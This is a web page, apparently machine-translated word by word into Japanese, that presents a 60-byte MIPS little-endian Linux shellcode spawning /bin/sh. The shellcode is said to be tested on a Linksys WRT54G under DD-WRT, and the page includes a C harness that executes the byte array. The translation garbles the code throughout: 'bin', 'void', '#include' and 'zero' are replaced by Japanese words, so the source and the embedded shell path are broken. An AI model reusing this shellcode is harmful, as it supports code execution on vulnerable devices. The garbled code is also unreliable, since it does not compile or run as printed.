このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/mips - execve(\\\"/貯蔵所/sh\\\",[\\\"/貯蔵所/sh\\\"],[]); - 60 bytes
/*	- MIPS little-endian 
 *	- linux execve 60 bytes shellcode 
 *	- execve("/貯蔵所/sh",["/貯蔵所/sh"],[]);
 *      - 実験(する)d on Linksys WRT54G/GL (DD-WRT Linux)
 *      - based on scut paper 令状ing MIPS/Irix shellcode
 *
 *                              vaicebine at gmail dot com
 */
#含む "stdio.h"


char shellcode[] = {
	"\x50\x73\x06\x24" /*     li      a2,0x7350             */
	"\xff\xff\xd0\x04" /* LB: bltzal  a2,LB                 */
	"\x50\x73\x0f\x24" /*     li      $t7,0x7350 (nop)      */
	"\xff\xff\x06\x28" /*     slti    a2, $0,-1             */
	"\xe0\xff\xbd\x27" /*     addiu   sp,sp,-32             */
	"\xd7\xff\x0f\x24" /*     li      t7,-41                */
	"\x27\x78\xe0\x01" /*     nor     t7,t7,無            */    
	"\x21\x20\xef\x03" /*     addu    a0,ra,t7              */
	"\xe8\xff\xa4\xaf" /*     sw      a0,-24(sp)            */
	"\xec\xff\xa0\xaf" /*     sw      無,-20(sp)          */
	"\xe8\xff\xa5\x23" /*     addi    a1,sp,-24             */        
	"\xab\x0f\x02\x24" /*     li      v0,4011               */
	"\x0c\x01\x01\x01" /*     syscall                       */
	"/貯蔵所/sh" 
};

int main(int argc, char *argv[]) 
{
	無効の (*p)(無効の);
	p = shellcode;
	printf("shellcode size %d\n", sizeof(shellcode));
	p();

	return 0;
}